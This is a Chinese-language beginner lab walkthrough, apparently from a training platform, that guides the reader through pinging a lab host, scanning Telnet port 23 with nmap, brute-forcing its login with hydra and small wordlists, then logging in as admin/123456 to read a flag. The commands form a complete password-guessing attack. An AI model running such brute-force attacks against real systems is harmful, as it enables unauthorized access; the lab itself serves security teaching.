Telnet 暴力破解与弱密码

LinuxBeginner
立即练习

介绍

欢迎来到本次专注于密码安全和暴力破解攻击的实操实验。许多安全漏洞的发生并非源于复杂的软件漏洞,而是由于简单、薄弱或默认的凭证。暴力破解攻击是一种自动化方法,通过尝试大量的用户名和密码组合,直到找到正确的组合。

在本实验中,你将模拟一次针对带有易受攻击的 Telnet 服务且受弱密码保护的系统的攻击。你将使用标准的渗透测试工具来执行侦察、准备攻击并执行它。你将首先验证连通性,使用 nmap 扫描目标,然后使用流行的密码破解工具 hydra 来发现登录凭证。最后,你将使用发现的凭证访问系统并捕获一个 flag。

完成之后,你将了解如何:

  • 使用 ping 验证网络连通性。
  • 使用 nmap 确认特定服务正在运行。
  • 为暴力破解攻击创建字典(wordlists)。
  • 使用 hydra 对 Telnet 服务执行暴力破解攻击。
  • 使用被攻破的凭证访问系统。

让我们开始吧。

这是一个实验(Guided Lab),提供逐步指导来帮助你学习和实践。请仔细按照说明完成每个步骤,获得实际操作经验。根据历史数据,这是一个 初级 级别的实验,完成率为 85%。获得了学习者 100% 的好评率。

使用 Ping 验证与目标的连接

在此步骤中,你将首先确认你的攻击机能够与目标系统通信。ping 命令是一个基础的网络诊断工具,它向目标主机发送一个请求并监听回复,以确认其可达性。

你的环境中包含一个可以通过主机名 target 访问的目标系统。为了确保它在线且响应正常,请在你的终端中运行以下命令。-c 4 标志告诉 ping 发送正好四个数据包。

ping -c 4 target

你应该会看到类似以下的响应。这证实了目标在线且你的网络连接稳定。IP 地址和响应时间可能会略有不同。

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

在确认连通性后,你就可以继续扫描目标了。

使用 Nmap 扫描开放端口

在此步骤中,你将使用 nmap 扫描目标上的开放端口和运行的服务。这是侦察的关键部分,因为它有助于识别潜在的入口点。我们怀疑 Telnet 服务正在运行,它通常使用端口 23。

为了确认这一点,请运行一个有针对性的 nmap 扫描。-p 23 标志将扫描范围专门限定在 Telnet 端口。

在你的终端中执行以下命令:

nmap -p 23 target

输出将显示指定端口的状态。你应该会看到类似以下的結果:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 14:10 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00040s latency).

PORT   STATE SERVICE
23/tcp open  telnet

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

输出确认端口 23/tcpopen(开放)的,并且正在运行 telnet 服务。这是我们将在下一步中进行攻击的服务。

通过 Telnet 使用暴力破解连接目标

在此步骤中,你将使用 hydra 对 Telnet 服务执行暴力破解攻击。由于我们不知道密码,我们将为 hydra 提供潜在的用户名和密码列表,以便自动尝试。

首先,创建两个简单的单词列表。一个用于用户名 (users.txt),一个用于密码 (pass.txt)。我们将包含常见和可能的候选词。

创建用户名列表:

echo -e "admin\nuser\nroot" > users.txt

创建密码列表:

echo -e "password\nadmin\n123456" > pass.txt

现在,使用 hydra 发起攻击。-L 标志指定用户列表,-P 指定密码列表,而 telnet://target 定义了要攻击的协议和主机。

hydra -L users.txt -P pass.txt telnet://target

hydra 现在将尝试使用你列表中的每种用户名和密码组合进行登录。片刻之后,它将找到正确的凭据并显示它们。

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:11:54
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking telnet://target:23/
[23][telnet] host: target   login: admin   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:11:57

输出清楚地显示找到了一个有效的登录:用户名是 admin,密码是 123456

探索目标系统并定位 Flag

在此步骤中,你将使用 hydra 发现的凭据登录目标系统并找到 flag。这是攻击的最后阶段,你将达成目标。

使用 telnet 客户端连接到目标:

telnet target

系统将提示你登录。输入用户名 admin 并按 Enter。然后,在提示输入密码时,输入 123456 并按 Enter。

Trying 172.17.0.2...
Connected to target.
Escape character is '^]'.

Linux 5.15.0-56-generic (target) (pts/0)

target login: admin
Password:

成功登录后,你将看到一个 shell 提示符。你现在已进入目标系统。

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Sep 19 06:11:55 UTC 2025 from 172.17.0.1 on pts/0
admin@target:~$

现在,列出当前目录 (/home/admin) 的内容以查找 flag。

ls -la

你将在列表中看到 flag.txt 文件。

admin@target:~$ ls -la
total 28
drwxr-xr-x 3 admin admin 4096 Sep 19 06:11 .
drwxr-xr-x 1 root  root  4096 Sep 19 06:08 ..
-rw-r--r-- 1 admin admin  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25  2020 .bashrc
drwx------ 2 admin admin 4096 Sep 19 06:11 .cache
-rw-r--r-- 1 admin admin  807 Feb 25  2020 .profile
-rw-r--r-- 1 admin admin   33 Sep 19 06:08 flag.txt

最后,使用 cat 命令读取 flag.txt 的内容。

cat flag.txt

终端将显示 flag。

admin@target:~$ cat flag.txt
labex{w34k_p4ssw0rd_brut3f0rc3d}

恭喜!你已成功暴力破解了 Telnet 服务并获取了 flag。复制 flag 值以完成实验。要退出会话,请键入 logout 并按 Enter。

总结

在此实验中,你成功地对 Telnet 服务执行了暴力破解攻击。你学习了一种使用弱凭据来攻破系统的系统化方法。

你练习了如何:

  • 使用 ping 确认网络可达性。
  • 使用 nmap 验证目标端口上特定服务是否处于活动状态。
  • 创建简单但有效的用户名和密码单词列表。
  • 使用 hydra 自动化尝试登录组合的过程并识别有效凭据。
  • 使用被攻破的凭据登录、探索目标系统并检索 flag。

这个练习展示了一个基本的安全风险:使用弱的、易于猜测的密码。它还突显了使用像 Telnet 这样的未加密协议的危险,这些协议会将凭据暴露给网络嗅探。你学到的技能对于测试系统防御的道德黑客和必须保护系统的系统管理员来说都至关重要。